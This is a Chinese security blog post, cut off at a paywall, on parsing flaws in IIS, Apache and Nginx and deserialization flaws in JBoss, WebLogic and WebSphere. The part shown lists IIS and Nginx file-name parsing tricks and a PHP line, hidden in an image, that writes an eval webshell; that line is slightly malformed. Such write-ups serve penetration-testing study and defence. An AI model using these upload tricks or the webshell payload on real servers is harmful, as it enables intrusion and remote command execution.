这篇博客详细梳理了多种Web服务器（如IIS、Nginx、Apache）和应用服务器（如JBOSS、Weblogic、WebSphere）的安全漏洞，包括IIS的解析漏洞、PUT漏洞和溢出漏洞，Apache和Nginx的解析漏洞，以及JBOSS、Weblogic和WebSphere的Java反序列化命令执行漏洞。文章列举了具体的利用方法和防护建议。
IIS
IIS解析漏洞
IIS 6.0
解析利用方法有两种：
1.
目录解析
建立xx.asp为名称的文件夹，将asp文件放入，访问/xx.asp/xx.jpg，其中xx.jpg可以为任意文件后缀，即可解析
2.
文件解析
后缀解析：/xx.asp;.jpg /xx.asp:.jpg(此处需抓包修改文件名)
3.
默认解析：
/xx.asa
，/xx.cer，/xx.cdx
IIS7.5/ IIS 7.0/ Nginx <8.03
畸形解析漏洞
IIS 7.5
的解析漏洞利用手法，在正常图片URL后添加 /.php
常用利用方法： 将一张图和一个写入后门代码的文本文件合并 将恶意文本写入图片的二进制代码之后，避免破坏图片文件头和尾
内容
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]?>');?>
最低0.47元/天 解锁文章
扫一扫
1868
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
